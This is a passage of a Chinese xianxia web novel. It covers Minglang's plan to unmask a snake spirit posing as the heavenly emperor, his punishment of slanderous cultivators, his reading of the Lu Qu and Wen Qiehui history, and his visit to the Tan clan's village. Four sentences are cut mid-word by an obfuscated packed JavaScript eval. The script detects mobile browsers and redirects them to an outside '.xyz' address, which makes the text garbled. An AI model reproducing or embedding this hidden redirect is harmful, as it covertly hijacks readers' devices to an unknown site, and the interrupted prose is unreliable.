三百年前“误开”畜生道坑了明光一把后,在越君朴的想像中,他一定恨毒了自己。再见面时,也一定会势若疯虎般地跟自己玩命。 然而此时此刻,明光平静从容地站在他面前,非但一点也没发疯,还对他的品性作出中肯评价,越君朴说不出心里是什么滋味。 “是不是有点感动啊?千万别,咱们这笔债回头我还得找你算呢!只是眼下有更重要的事,所以你得先去后头排队。” 越君朴下意识地挺起胸膛,是敢作敢当的姿态。他直视着明光的眼睛,坦然道:“好,我等着你来找我算账。” . 明光对紫衡帝君的怀疑,越君朴当时听得半信半疑。 虽然不排除有可能是明光为了报复英昊而捏造事实恶意中伤,但万一他说的是事实呢? 那么天界这千余年来,一直被名义上的帝君、实际上的蛇精统治着,也未必太荒谬了! 不管此事是真是假,回到云间仙境的越君朴,开始不由自主地暗中观察起了帝君英昊,试图从他的言行举止中捕捉异样之处。 观察结果是一切正常,只有一件事除外。这也是越君朴今日约明光面谈的原因所在。 “上回和你交谈后,我回到云间仙境就一直在暗中观察,并没有发现帝君有什么不对劲的地方。不过我突然意识到了一点——他的仙剑神锋已经多年未曾出过鞘了。” 身为天界最高统治者的帝君,英昊不需要像其他仙官那样奋战在第一线。 云间仙境的所有神殿都有主神和辅神,而紫衡殿的辅神数量最多,没有之一。 那些大大小小的辅神们,长年累月替帝君处理无数信徒的信香。小到祈福祈寿,大到降妖伏魔,都无须英昊亲自过问,更别提亲身上阵了。 这千余年来,紫衡帝君就是负责坐镇天界。 仙剑神锋虽然终年佩在主人腰畔,却根本没有出鞘的机会,也没有人觉得这一点有什么问题。 明光了然一笑道:“如果紫衡帝君为玉京子假冒,仙剑神锋可是认主的神兵,他自然是拔不出来的。” “是啊!除了这一点外,我在帝君身上看不出任何不妥之处。哪怕你已经宣称要和应长恨联手进攻天界,他也只是表现出合乎身份的忧国忧民之色,并没有慌乱不安。” “他一个冒牌货能在天界稳坐千年的头号交椅,成功骗过所有神仙,自然是很有两把刷子的。如果能轻易被人识破,早就混不下去死翘翘了。” 明光知道玉京子绝对不会轻易露出马脚。 他能神不知鬼不觉地杀了英昊,自己假冒帝君统领天界上千年,这种心理素质已经过硬到了不能再过硬的地步,没准他都已经把自己当成真货了。 “如果真如你所说,帝君并非帝君,而是蛇精玉京子假冒,你为什么不把这事在三界中广为宣扬?” 明光不无自嘲地一笑。 “就凭我这一身黑料,你觉得我说出来的话有人信吗?肯定只会被当作是针对帝君的恶意中伤与报复。你一开始不也不信嘛!” “我自然不会轻信,但意识到帝君可能拔不出神锋剑时就起了疑心。如果天界其他仙官也和我一样,质疑的声浪越来越大,他就要迫于压力拔出仙剑自证清白,否则就等于反证自己不是帝君。” “这个想法我也想过,但是这么做存在一个打草惊蛇的问题。如果玉京子意识到自己的帝君角色要扮不下去了,极有可能脚底抹油先溜了,到时候想要再把他找出来可就难喽!” 越君朴想了想又道:“可是你和应长恨联手打上天界的话,同样也会逼得他逃之夭夭啊!” “进攻天界谈何容易,在这之前,他还能稳稳当当地坐在帝君宝座上,也能想方设法来化解危机。我相信不到万不得已,他怎么也舍不得丢下自己目前所拥有的一切跑路。” “所以,你是要给他一个自己还有时间掌控与改变局面的假象。那接下来,你打算怎么做?” “我有一个计划,需要找你合作。” “怎么合作?” 明光开门见山地道:“委屈你假扮一下仙奸,助我们出其不意地攻入云间仙境,杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739715|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去紫衡殿来一场逼宫。” 越君朴算是明白明光为什么要找他合作了,因为他确实可以起到出奇制胜的奇兵作用。 别说“紫衡帝君”,就算是云间仙境的其他仙官,谁也想不到他竟会倒向明光充当“仙奸”。 “不行,这么做的风险太大了,毕竟一切都建立在你声称帝君身份存疑的前提下。如果此事是你无中生有,想要设套坑我作为报复,那我就要从假扮仙奸变成货真价实的仙奸,永远被钉在耻辱柱上遭万人唾骂。” 越君朴果断拒绝,明光也满脸理解的神色点了点头。 “是的,如果我没安好心想坑你,那你的下场就能和当年的我比惨了。越君朴,这么重要的事我也不指望你今天就能做出决定。这样吧,你再好好观察观察那位帝君一段时间。如果哪天你觉得他确实有问题,我说的都是事实而非故意给你下套,咱们再来商议此事。” 这种事急不来,越君朴的顾虑很正常。 除非他也认定“紫衡帝君”不是正主儿,否则就不可能轻易答应跟明光合作,助他率领鬼军攻上天界。 玉京子假冒紫衡帝君已经上千年,想要当众揭穿他的真面目,不是一时半会儿就能解决的问题。 明光不着急,欲速则不达,只能徐徐图之。 . 谈话告一段落,店小二也开始上菜了。明光点了一桌海鲜,基本上都以清蒸为主,所以一口气上了四五道蒸菜。 越君朴觉得自己跟明光不是能一起吃饭的关系,感觉有些尴尬,站起来准备走人。 “你走之前先把账结一下,我没钱。” 明光理直气壮地使唤起了越君朴结账,他愣了一下。 “你没钱就上酒楼吃饭,点的菜还都不便宜,到时候付不出钱打算跑单吗?” “这不是有你越大仙官在嘛,怎么可能会付不出钱?请我吃一顿饭又吃不穷你,别这么小气了!” 当年在云间仙境的时候,明光跟所有仙僚的关系都是君子之交淡如水,从没请人吃过饭,也从不要求别人请他吃饭。 现在他笑眯眯地找越大仙官“讨饭”,越君朴还能说什么?当然是只能掏腰包请客吃饭了。 . 一身凡人打扮的越君朴独自走下楼结账的时候,一楼大堂的那桌修士们,还在因为那个子虚乌有的揣测在胡说八道。 其中一个留着八字胡的中年修士乘机蹭起了热度,煞有介事地声称他家祖上当年就是无极宗的高手之一。而这位先祖在明光飞升不久后仙逝了,搞不好就是暗中协助他表演力阻走蛟时受了重伤的缘故。 “我家这位老祖宗当年留下了一部手记,其中有段记载一直让人看不明白。如今回想起来,应该就是在影射此事。” 要说这个八字胡也是一个即兴发挥的人才,当场现编了一段模棱两可的话,言之凿凿地称这就是老祖宗留下的记载,能间接证明明光当年作伪了。 120.没法忍 对于这种空口无凭的所谓证据,在场诸人也偏听偏信地全盘接收,丝毫不去想一想这只是毫无根据的片面之词。 “这下铁证如山了,明光当年所谓的力阻走蛟,其实只是他爹明定远精心设计的一出好戏。为了把自家儿子捧成修真界的旷世奇才,这老匹夫真是无所不用其极。” “可不是嘛,明定远仗着自己是天下第一宗门的宗主,搞这种暗箱操作来帮助儿子在修真界扬名立万,甚至还让明光因此得以飞升成仙。这个老东西实在是太可恶了!” “老贼该死——他要不是已经死了,我都想去乱剑伺候一番。” “明定远做出这等可恶之事,哪怕死了也可以掘坟鞭尸了!” 八字胡修士摆出一副义正词严的嘴脸,其他修士也都纷纷慷慨激昂地附和起来。 “说得没错,真应该把这老贼的坟墓找出来掘坟鞭尸,谁让他骗了天下人呢!” “对了,谁知道明老贼的坟墓在哪儿?要不咱们一块去替天行道如何?” 这帮修士借着酒兴越说越难听,越君朴都听不下去了。 他转过身正准备厉声叱斥几句,眼前突然一花,有个人影从二楼飞了下来。 . 之前这帮修士往明光头上乱扣罪名时,他一派若无其事,脸上没有半点愠色。 不过听到他们对亡父明定远如此不敬,他就没法不恼火了。 “你们这帮混蛋,统统给我住口。” 明光面孔铁青的一声怒喝,诸修士见他只身一人,又是一副文质彬彬的书生模样,并不把他放在眼里。 那个八字胡修士仗着人多势众,出言恫吓道:“你谁呀?我们说明定远关你屁事,居然跑来骂人,是不是想找打?” 明光锋利如刀刃似的目光轮流在每个修士脸上划过,让他们有种几乎要被割破肌肤流出鲜血的错觉。 “明定远是我爹,你们说关不关我的事?” 所有修士都始料未及地大吃一惊。 明光遭贬是三百年前的事,人间凡界的神像早就全部毁得一干二净,他们都已经不认识这位昔日仙官的模样。 “什么?你就是明光。” 一帮修士面面相觑着,说别人坏话时恰好被当事人逮了个正着,这下要有麻烦了。看明光那副怒不可遏的样子,他们都有一种自己恐怕要完的不好预感。 一边在心里战战兢兢着,八字胡修士一边壮起胆子质问道:“明光,你想干什么?你可是谪仙,不能随便对凡人出手。” 明光冷笑道:“那又如何?我连云间仙境都准备攻打,难道还会在乎什么谪仙的行为准则吗?” 诸修士听得神色一僵。 是啊,明光如今狠到都敢直接放话说要勾结鬼王打上天界,又岂会顾忌谪仙身份不便对凡人出手呢? “我早就在楼上坐着了,你们怎么说我都没问题,我可以不跟你们计较,但是你们骂我爹就不行。” 用力咬了一下后槽牙后,明光再次声音冷锐地道: “他老人家已经去世两三百年了,居然还要被你们这帮不知道积德的家伙满嘴喷粪乱骂一气。身为人子,我实在没法忍。” 见势不妙,不想吃眼前亏的八字胡修士头一个服软认怂。 “明仙官,我刚才是喝多了才乱说话,我不该对明老宗主出言不逊,对不住对不住,我可以慎重道歉。” “你刚才说有位先祖当年是无极宗高手,哪一位?” 明光神色冷冷地盯着八字胡,目光比针尖还要尖锐,盯着八字胡修士冷汗直冒。 “明仙官,我家祖上根本就不是无极宗门徒,所谓的手记也是我瞎编出来的。我知道错了,我不该无中生有抹黑您,我愿意磕头赔罪。您就大人不计小人过,当我是个屁放了吧!” 一边说,八字胡修士一边扑通一声直接跪下了,冲着明光咚咚咚地磕起了响头。 其他修士犹犹豫豫地对视着,不知道要不要效仿他这么做。 之前那个脑补明光力阻走蛟是组团作战的葛袍修士,知道自己已经把他得罪惨了,眼下只有两条路: 要么就像八字胡修士一样认怂磕头赔罪;要么就死撑到底,做一条不畏强权的好汉。 葛袍修士横下一条心,摆出一副大义凛冽的架势硬杠起来。 “明光,我们虽然对令尊有些出言不逊,但那也是因为怀疑他暗箱操作了你的一举成名,也算事出有因。” “你们凭什么怀疑我爹搞了暗箱操作?是有人证还是有物证?可别再提这家伙所谓的先祖手记了,他刚才亲口承认那都是自己瞎编乱造的。” 葛袍修士振振有辞地道: “虽然没有证据,但是我们可以提出质疑。你年纪轻轻就能取得他人奋斗一生都无法获得的成就,到底是你天赋异禀的结果,还是明定远利用权势把你捧上天的结果,真是让人没法不多想呢!我们现在强烈怀疑是后者,你能证明是前者吗?” 越君朴都实在忍不住了,声音冷冷地开了口。 “没有证据就随便质疑别人,还想让别人自证清白,凭什么?如果你们怀疑是后者,就自己拿出证据来证明有问题,否则就是诬蔑诽谤。” “是啊,凭什么你上下嘴皮子一碰,我就得自证清白?如果没有证据就能随便质疑别人,那我现在强烈怀疑你是太监,你能证明自己不是吗?” 一个男人被人质疑是太监可是莫大的羞辱,而且还没法自证清白,总不能当众脱裤子吧? 葛袍修士气得额头的青筋一阵乱蹦,怒不可遏地嘶吼道:“放狗屁,你凭什么怀疑我是太监,老子才不是呢!” “你凭什么怀疑我,我就凭什么怀疑你。虽然没有证据但是可以提出质疑,这话可是你说的,怎么只许州官放火不许百姓点灯吗?” 明光以彼之道还治彼身,葛袍修士被堵得一时间说不出话来,而他也懒得再听这帮家伙继续放屁。 “你们这帮满嘴喷粪的家伙,不配坐在这里吃饭,只配去茅厕吃屎。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765098|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> . 越城是十分繁华的大城,城中有不少路厕。 上头是一排蹲坑,下头挖了一个大坑容纳排泄物。隔三差五就有专人过来掏粪,装进粪车后运去城外卖粪肥。 酒楼附近就有一个路厕,粪坑里的排泄物已经堆了三分之二。那帮胡说八道的修士,被明光一视同仁地全部扔进去了。 “求求你,我们知错了,快放我们出去吧。” 七八名修士被迫挤在半丈方圆的粪坑里,粪水淹到了胸口,臭气直冲鼻端,苍蝇在耳旁嗡嗡乱飞,蛆虫在眼前四处乱爬,一个个都无法忍受地大声求饶认错。 八字胡修士叫得最响亮,一副声泪俱下认真悔过的态度。 葛袍修士还在死撑,满脸英勇不屈的神色嚷道:“明光,就因为我们质疑你,你就这样报复我们,分明就是被说中了事实恼羞成怒。” “你这张嘴真是够臭的,也不在乎再臭一点了,吃屎去吧你。” 明光凌空一记掌风劈向葛袍修士,劈得他立足不稳往后倒,整个人瞬间被腌脏腐臭的粪水淹没了。 等到他挣扎着重新站直身子时,满脸满脸都糊满了蛆虫乱爬的粪便。嘴巴也再说不出一个字,只顾着恶心万分地呕吐着。 “你闭嘴了,整个世界都清静了。” 虽然同在一个粪坑里,但是头脸都糊上了一层粪便的葛袍修士,还是让其他修士都无法不嫌弃。 他们本能挤成一团,尽量与之拉开距离,不忍直视他那副令人恶心作呕的粪人尊容。 八字胡修士还在不死心地求饶:“明仙官,我们和他不一样,我们是真心知错了,你也已经对我们施以惩诫了,能不能先放我们出去啊?” 其他修士七嘴八舌地附和道:“是啊是啊,我们真心知错了,以后不敢再胡说八道了,求你放我们出去吧。” “你们这些乱嚼舌根的家伙,仅凭毫无证据的猜测就往别人身上泼脏水,现在喊上两句知错了就想混过去,真是想得美,我才不会这么便宜你们呢!” 越君朴一直站在不远处看着,暗中朝明光耳中传去一缕声音——“你还想怎么收拾他们?” 八字胡修士也胆战心惊地问道:“明仙官,你好歹也曾经是神仙啊!难道真想杀了我们这些凡人不成?” “我出手对付你们是胜之不武,所以不会要你们的命。不过死罪可免活罪难逃,接下来我会用结界把你们封在这个粪坑里三天三夜,让你们好好受罪一番。” 普通人在粪坑里泡上三天三夜肯定早挂了,修士虽然挺得住,但是受罪可就要受大发了。 等到三天期满结界消失后,这帮家伙再爬出来时肯定已经不成人样,浑身还会被粪水腌到迎风臭十里的地步。 “这已经算是从轻发落,要是谁不吸取教训以后还敢胡说八道,下次就直接留在粪坑里别出来了,沤成粪肥还能造福百姓。” 一帮修士虽然暗中叫苦不迭,却也不敢再抱怨什么,只得喏喏称是自认倒霉了。 121.否极泰来 越城的东门老街,街尽头是东门楼。 应长恨一身玄袍,独自负手站在东门楼上。两道远眺的目光,久久凝视着附近的一座书院。 明光施施然地走上东门楼,从后面拍了一下他的肩膀,含笑问道:“阿难弟弟,你说当年我的灵曜庙就在这条街,现在变成啥样了?” 三百年前,越城为飞升成仙的明光修建了一座很气派的灵曜庙。 应长恨就投身庙观当了一名小道士,在明光遭贬神庙被毁时还不幸殒命于此。 应长恨朝着书院方向一指,不无感慨地道:“已经变成一座书院了。这座书院的旧址,就是当年世人供奉你的灵曜庙。” 风中传来了一阵又一阵琅琅的读书声,明光情不自禁地微笑。 “这样挺好的,教书育人是千秋大事,多盖书院比多修庙宇更强。有些尸位素餐的神仙只想混日子,不供奉也罢。” “可你不是尸位素餐的神仙,在我看来,人间凡界无论为你修建多少庙宇都是应该的。” “无所谓了,不管是不是神仙,有没有庙宇,我也还是我,不会因此而改变什么。” “阿难哥哥,你和越君朴谈得怎么样?他一定没有答应吧?” “预料之中的事,他要是一口答应反倒有问题,没准是想玩一出将计就计、请君入瓮。” “你真的相信越君朴不会把咱们卖给那个死蛇精?虽然你们师出同门,但你不是说以前和他关系很一般吗?” 应长恨并不清楚越君朴当年坑过明光一把的事,却也还是有些不太放心。 “如果越君朴是那种坏得很彻底的人,那咱们肯定会被他卖了不可。但他并不是,所以我觉得他应该不会那么做。” 越君朴不是一个纯粹的善人,也不是一个纯粹的恶人。他会对一个小乞儿心怀善意,也会对一个比自己优秀太多的人心生妒恨。 因为人性阴暗面无法摆脱的恶,他当年对明光做了落井下石的事。嘴里虽然不肯承认,心里却始终藏着愧疚,还主动求报复,这都是良心未泯的体现。 一个良心未泯的人,就不可能会彻底倒向邪恶势力的一方。 除了越君朴以外,明光也没有其他合作人选了。 当年在云间仙境,他作为一位横空出世的少年仙官,把所有仙僚都比得黯然失色,又性格高傲目无下尘,人缘自然是好不起来的。 “阿难哥哥,你为什么不找太清元君合作呢?她难道不比越君朴更可靠吗?” “太清元君和太玄真君是两口子,找她合作就等于跟陆衢合作,毕竟他们夫妻一体同心。你觉得陆衢会相信咱们的话吗?绝对不可能,所以还是省点口水吧。” 应长恨点头道:“也罢,如果找太清元君合作会让她担风险,还是不要轻易连累她了。” . 从东门楼下来后,明光和应长恨并肩漫步于东门老街中。这条街道不但有书院,还有一家越城最大的书肆,来购书的客人络绎不绝。 “走,阿难弟弟,咱们也进去逛逛。” 逛书肆的时候,明光无意中瞥见一本专门介绍四国时期的历史书籍。 他随手翻阅了几页,发现这本书涵盖了四国时期的重要历史阶段与事件,解读得也比较详细。 “老板,这本书我买了。阿难弟弟,付钱。” 应长恨毫无异议地掏钱买书,只是有一点不解。 “阿难哥哥,你为什么要买这本书?” “厉无情说过江天旷是四国时期的人,我对那个时期不太了解,所以想读点这方面的书多了解一下。” 回到落脚的客栈后,明光就闭门不出一心读书。 在这本关于四国时期的历史书籍中,东郯、西郢、南郇、北鄣四个古国的兴衰史都有记载。而最终统一四国的北鄣国,更是当仁不让的主角。 陆衢则是主角中的主角,因为北鄣想要一统天下的雄心壮志,就源自于这位卓越非凡的储君。 他先与东郯国联姻迎娶公主温且惠,两国结为同盟后,就毫无后顾之忧地出兵灭了西郢国。 东郯国当时也没闲着,趁机进军南郇国。一位被送到东郯国充当质子的南郇皇子,还惨遭腰斩用来祭旗。 北鄣消灭西郢,东郯吞并南郇后,四国变成了两国。 东郯和北鄣都有干掉对方一统天下的打算,结果北鄣笑到了最后,结束了列国纷争的局面,成立了天下归一的大盛王朝。 陆衢亲自率军消灭西郢、荡平东郯,最终令北鄣一统天下,这在史书上绝对是一桩丰功伟绩。 但东郯国是温且惠的母国,她对此作何感想就不得而知了,史书上是不会有相关记载的。 不过,史书上记载了温且惠的生平。 虽然与丈夫相比,只有短短几行文字,却也不难从中窥出这位金枝玉叶的公主,在看似光鲜华美的人生背后暗藏着不为人知的心酸。 温且惠是彼时东郯国君温崎的第三个女儿,册封兴城公主。 母亲是国君原配的魏王后,在她七岁那年怀上第二胎,却不幸难产而死一尸两命。 魏王后去世后,失去母亲呵护的小公主,在后宫过得怎么样已经无法求证。 但是在北鄣提出与东郯联姻时,年仅十五岁的她会被选中嫁过去,就无形中说明她是一位不得宠的公主。 北鄣地处苦寒的北方,一直以来被视作蛮夷之国。风土人情都与其他三国截然不同,属于很难适应的异乡。 如果可以自由选择,东郯王室无论哪一位公主,恐怕都不愿意嫁去这样一个地方。 . 明光特意翻了一下温崎的生平,发现这位国君有过两任王后。 原配魏王后难产身亡后的第二年,他将已经育有二女一子的爱妃韩氏扶正为继后。 韩王后又先后为东郯王室诞下两位皇子,地位十分稳固。 韩王后的两个女儿中,有一位永昌公主跟温且惠同年出生。 如果魏王后还是一国之母, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783383|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩王后还是妃嫔,那么与北鄣联姻的人选肯定不会是兴城公主,而是要换成永昌公主上了。 明光不难明白一点,为什么陆衢出兵灭了东郯国后,温且惠依然与丈夫恩爱如初。 当年被东郯王室当作工具人用来达到政治目的的兴城公主,估计是对母国没有什么感情可言。 没准还巴不得它彻底灭亡,让那些做主安排她嫁去北鄣联姻的人,都落不着一个好下场。 有道是福兮祸所倚,祸兮福所至。 嫁入北鄣王室虽然并非温且惠所愿,但是她却误打误撞地嫁了一个如意郎君。陆衢夫妇的恩爱程度,在史书上都有一笔伉俪情深的记载。 出嫁后的第三年,温且惠怀上了她和陆衢的第一个孩子。 可惜孩子尚未足月就早产了,生下的男婴是个死胎,自己也被折腾到大出血,虽然侥幸保住了性命,却永远丧失了生育能力。 对于任何王国的王室来说,绵延子嗣都是一件非常重要的事,要是后继无人还谈何江山永固? 身为太子妃的温且惠,如果不能为丈夫生下一个儿子,那么地位就会岌岌可危。 即使是北鄣与东郯联姻结盟期间不能把她废为庶人,在两国彻底兵戈相见的时候,她也难逃变成弃子的下场。 然而,温且惠却一直稳稳当当地坐在太子妃的宝座上。 哪怕她不能为北鄣王室开枝散叶,哪怕东郯被北鄣彻底灭了国,她的地位始终不变,依然是陆衢的嫡妻正妃。 连史书都感慨了一笔,“无子嗣而受宠十五年不衰,太子衢之爱妻可见一斑”。 大盛王朝成立的那一年,天空中降下彤云朵朵,接引陆衢飞升成仙。他没有独自离开,而是牵起妻子的手双双登上天界。 就这样,温且惠与陆衢在人间做了十五年的恩爱夫妇后,又成为云间仙境一对名符其实的神仙眷侣。 最初,温且惠不过是跟着丈夫鸡犬升天的幸运儿,没有封号,只有一个太玄娘子这样的称呼。但她是一个聪明人,没有浪费这样绝佳的机会,在云间仙境开始苦心修行。 多年后,温且惠终于成功修成正果,由边缘人物的太玄娘子,正式晋升为有着天界神仙编制的太清元君。 明光读完整本书后,应长恨也好奇地拿过来翻阅了一遍。对于陆衢与温且惠的相关篇章,他同样看得很认真。 毕竟四国时期已是千年之前,除了这对神仙眷侣,书中记载的其他人物他一个也不知道,自然只会关注自己知道的对象。 “太清元君也算是否极泰来,虽然八岁丧母,十五岁被安排联姻北鄣,却遇上了一个情深意重的陆衢,即使她生不出儿子也一直不离不弃,真是运气好呢!” 在礼法规定的七出之条中,“无子”就是一个男子休妻的正当理由。 尤其是在还有王位要继承的北鄣王室,就算王后无子都可以直接废掉,更遑论一个他国送来联姻的太子妃。分分钟可以一脚踢开,换成其他的北鄣贵女上位。 122.檀绣 可是,陆衢却成了温且惠最强有力的后盾。让她在没有子嗣的情况下,依然稳居太子妃宝座十五年之久,最后还跟着丈夫一起做了神仙。 “陆衢这家伙,从史书记载来看是个杀神一样的人物。无论是攻克西郢还是进军东郯,用来震慑和打击敌人的手段都很残酷。像这一段说他打下西郢王都后,所有王室子弟一律杀无赦,就算是婴儿也不放过。还有西郢贵族子弟十五岁以上也全部被绞死了,十五岁以下则籍没为奴。哇,还不是普通的为奴,这些半大不小的孩子统统被处以阉刑成了阉奴。因为年纪小,他们十成中有三成都在受刑后痛苦死去,实在太惨了!阿难哥哥,你也看到了吧?” 明光自然留意到了这段记载,还因此联想到了一个人,只是缄默不语。 应长恨亦有所触动,脱口而出道:“对了,厉无情当年没准就是这批贵族子弟中的一员,这也是他至今仍然对陆衢憎恨万分的原因。” 明光一声轻叹,“恐怕就是如此了。” 疫鬼厉无情不只是容貌标致如美妇人,还一身阴柔之气,给人雌雄莫辨的感觉。如今他们不难猜出原因是什么了。 当初西郢王都被北鄣铁骑攻破后,国破家亡的少年厉无情不但失去了一切,还因为陆衢的雷霆手段惨遭阉割沦为阉奴。 如此悲惨的遭遇就算是成年人都很难承受,更别提他那时还是一个不到十五岁的孩子。 难怪千年的光阴流水,至今无法浇熄他心头的憎恨之火。 之前姑苏城那个贩卖阉儿起家的姜老爷,为什么会被厉无情找上门索命,明光也终于知道了答案。 . 从越城出发,往东走上一百多里路,就是山川秀美的宜城。 宜城北郊的北顾山下,有个名叫檀浦镇的地方,修真世家檀氏一族世代扎根于此。 八百年前,檀氏一族的檀豫霞举飞升,如今已经是云间仙境数一数二的大仙官。 今年檀氏一族又出了一个青年才俊的檀绍,才二十四岁就成功飞升成仙,眼下是天界最年轻的仙官,没有之一。 在人间凡界,除了无极宗以外,檀氏一族是第二个一门出了两位仙官的修真宗门。 别说正主儿的修真世家檀氏一族了,就连整个檀浦镇的人都跟着与有荣焉。 檀浦镇一家生意兴隆的茶铺里,明光和应长恨坐在一块喝茶时,其他茶客都还在津津乐道地谈论着檀绍的飞升。 “绍公子,不对,现在该称冲元真君了。他跟普和真君一样,都是咱们檀浦镇的骄傲啊!” “是啊,檀浦镇这么一个小地方,在八百年中先后有两人飞升成仙,真可谓是无上的荣耀了!” “冲元真君年纪轻轻就能飞升,堪称百年难得一遇的修真奇才,我等只有望尘莫及的份儿。” “听说冲元真君七岁开始炼气时,看起来天资平平,结果现在人家一飞冲天,用实力打脸了那些觉得他不过如此的人。” “对了,这一代檀氏子弟刚开始修行时,听说有个小女孩表现得天资过人,如今怎么样了?” “那是檀氏一族旁系的檀绣,她七岁开始炼气时,确实是同辈中最出色的一个。但小时了了、大未必佳,她就应了这句话,从炼气到筑基都领先他人,结丹期却怎么都结不成金丹。现在同辈子弟不少都已经是金丹修士了,她却还死活过不了这一关,每天把自己关在家里日修夜修不肯甘休。据说人都已经有些魔怔了,每天都神经质地嚷着一定要修成金丹修士不可。” “可惜了,这个檀绣我曾经见过一面,是位清秀佳人。与其修仙修得疯疯癫癫发魔怔,还不如干脆嫁人生子得了。” “是啊,女人修仙有几个能修成正果的?云间仙境的神女寥寥无几,最有名的太清元君当年还是靠夫君才登上了天界。檀绣既然天分不够,又何苦一条黑巷走到底,不如找个男人嫁了相夫教子。” 有人跃跃欲试地问道:“这个檀绣真的是位清秀佳人吗?如果是的话,要不我去登门求亲试试看。” 有人嘲笑道:“你一个无门无派的散修,也不是什么名头响亮的修真高手,还够不上资格娶檀氏一族的世家小姐,就别想得这么美了。” “如果是其他小姐我自然也不会去碰这个钉子,但这个檀绣不是修仙修得魔怔了嘛!有男人要就别挑三拣四了。” 明光似笑非笑地开了口。 “这位兄台此言差矣。檀绣小姐既然一心向道修仙,有没有男人要对她来说一点也不重要。因为嫁人生子根本不是她的人生目标,才不会在乎这些世俗层面对女子的要求。” 那人还不服气,撇着唇角道:“只要她一天没有飞升成仙,就一直是世俗中打滚的凡界女子,想当神女没门。等到人老珠黄时才醒悟过来想嫁人生子,到时候就更没人要她了。” 应长恨可就没这么客气了,直接哼了一声讥笑道:“那又怎么样?没人要大不了一个人过,檀氏一族难道会养不起她吗?反正轮不到癞蛤蟆来吃天鹅肉。” “喂,你小子说谁是癞蛤蟆呢?信不信老子弄死你!” 那人顿时一拍桌子怒吼起来,应长恨依然坐得四平八稳,只当是听驴叫。 “谁认就说谁,想弄死我恐怕你还没有那个本事。” 明光和应长恨来到檀浦镇时,都使用了障眼术来掩饰身份。 虽然他们依然是自己的容貌,但肉眼凡胎的普通人——哪怕是修士,也只会看见两个平平无奇的路人。 不过被应长恨两道冷锐又讥讽的目光一扫,那人却不由自主地一阵心底发寒,直觉告诉他这个路人不是好惹的主儿,他一定会踢上铁板不可。 “呃……既然不是说我,那就没事了。喝茶,咱们都接着喝茶吧!” 那人讪讪然地认怂了,明光在一旁颔首笑道:“是啊,没事多喝茶,少说话,小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794397|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心祸从口出。” . 檀氏一族的仙府檀园,位于檀浦镇最幽静的地方,山水绝佳处。 檀园的面积不大,只有嫡系一派的檀氏成员住在里头,其余旁系族人都住在毗邻檀园的檀家村。 除了檀氏族人外,檀家村还有一些外门子弟在此居住。 在檀绍飞升成仙后,更有不少想要沾点仙气的修士跑来这里打卡,每天人头攒动热闹非凡。 檀绍原本是檀氏一族的旁系子弟,从小生活在檀家村。 不过,他在修真一道表现出过人的天赋后,很快被宗主接进檀园重点培养,成为嫡系亲传弟子,从此彻底告别了檀家村。 檀园作为檀氏一族的仙府,是寻常人等无法涉足的地方。 其他修士想来沾点仙气,也就只能去檀绍曾经生活过的檀家村走一遭。打听他以前住在哪里,经常出现的地点又是哪里,然后一窝蜂地跑去瞻仰。 明光和应长恨并肩来到檀家村口时,随手拦下一位身穿檀氏门服的少年弟子打算问路,结果对方不等他发问就抢先开了口。 “两位仙友也是来冲元真君故居瞻仰的吧?村子东面第二条横巷进去后的第三家小院,就是他以前住过的地方。如果想要进院沾仙气,每位需要先交二两银子。村子后山的峡谷是冲元真君当年练剑的地方,那里交一两银子就能进去了。村子中央那棵大榕树看见了吧?树下有个小摊专卖糖炒栗子,是冲元真君当年最爱吃的,现炒现卖味道一级棒。走过路过千万不要错过,仙官同款的糖炒栗子你绝对值得拥有,一定要买上一包尝尝哦!” 少年弟子滔滔不绝的一番话,说得熟极而流,显然已经不知道重复过多少遍了。 明光听得哑然失笑,应长恨脸上的表情更是精彩纷呈。 之前明光还想不明白,为什么这么多修士跑来檀家村打卡,把安静的小村庄搅得比菜市场还要热闹,居住在此的檀氏族人却没有把人拒之村外。 现在他终于明白了,暗叹道:瞅瞅人家,还真是生财有道呢! 